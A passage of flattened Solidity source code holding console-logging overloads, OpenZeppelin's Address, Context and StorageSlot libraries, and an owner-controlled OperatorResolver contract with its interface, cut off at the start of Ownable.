function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "./interfaces/IOperatorResolver.sol";
import "./abstracts/MixinOperatorResolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Operator Resolver implementation
/// @notice Resolve the operators address
contract OperatorResolver is IOperatorResolver, Ownable {
/// @dev Operators map of the name and address
mapping(bytes32 => Operator) public operators;
/// @inheritdoc IOperatorResolver
function getOperator(bytes32 name) external view override returns (Operator memory) {
return operators[name];
}
/// @inheritdoc IOperatorResolver
function requireAndGetOperator(bytes32 name, string calldata reason)
external
view
override
returns (Operator memory)
{
Operator memory _foundOperator = operators[name];
require(_foundOperator.implementation != address(0), reason);
return _foundOperator;
}
/// @inheritdoc IOperatorResolver
function areOperatorsImported(bytes32[] calldata names, Operator[] calldata destinations)
external
view
override
returns (bool)
{
uint256 namesLength = names.length;
require(namesLength == destinations.length, "OR: INPUTS_LENGTH_MUST_MATCH");
for (uint256 i = 0; i < namesLength; i++) {
if (
operators[names[i]].implementation != destinations[i].implementation ||
operators[names[i]].selector != destinations[i].selector
) {
return false;
}
}
return true;
}
/// @inheritdoc IOperatorResolver
function importOperators(
bytes32[] calldata names,
Operator[] calldata operatorsToImport,
MixinOperatorResolver[] calldata destinations
) external override onlyOwner {
require(names.length == operatorsToImport.length, "OR: INPUTS_LENGTH_MUST_MATCH");
bytes32 name;
Operator calldata destination;
for (uint256 i = 0; i < names.length; i++) {
name = names[i];
destination = operatorsToImport[i];
operators[name] = destination;
emit OperatorImported(name, destination);
}
// rebuild caches atomically
// see. https://github.com/code-423n4/2021-11-nested-findings/issues/217
rebuildCaches(destinations);
}
/// @notice rebuild the caches of mixin smart contracts
/// @param destinations The list of mixinOperatorResolver to rebuild
function rebuildCaches(MixinOperatorResolver[] calldata destinations) public onlyOwner {
for (uint256 i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "../abstracts/MixinOperatorResolver.sol";
/// @title Operator address resolver interface
interface IOperatorResolver {
/// @dev Represents an operator definition
/// @param implementation Contract address
/// @param selector Function selector
struct Operator {
address implementation;
bytes4 selector;
}
/// @notice Emitted when an operator is imported
/// @param name The operator name
/// @param destination The operator definition
event OperatorImported(bytes32 name, Operator destination);
/// @notice Get an operator (address/selector) for a given name
/// @param name The operator name
/// @return The operator struct (address/selector)
function getOperator(bytes32 name) external view returns (Operator memory);
/// @notice Get an operator (address/selector) for a given name but require the operator to exist.
/// @param name The operator name
/// @param reason Require message
/// @return The operator struct (address/selector)
function requireAndGetOperator(bytes32 name, string calldata reason) external view returns (Operator memory);
/// @notice Check if some operators are imported with the right name (and vice versa)
/// @dev The check is performed on the index, make sure that the two arrays match
/// @param names The operator names
/// @param destinations The operator addresses
/// @return True if all the addresses/names are correctly imported, false otherwise
function areOperatorsImported(bytes32[] calldata names, Operator[] calldata destinations)
external
view
returns (bool);
/// @notice Import/replace operators
/// @dev names and destinations arrays must coincide
/// @param names Hashes of the operators names to register
/// @param operatorsToImport Operators to import
/// @param destinations Destinations to rebuild cache atomically
function importOperators(
bytes32[] calldata names,
Operator[] calldata operatorsToImport,
MixinOperatorResolver[] calldata destinations
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
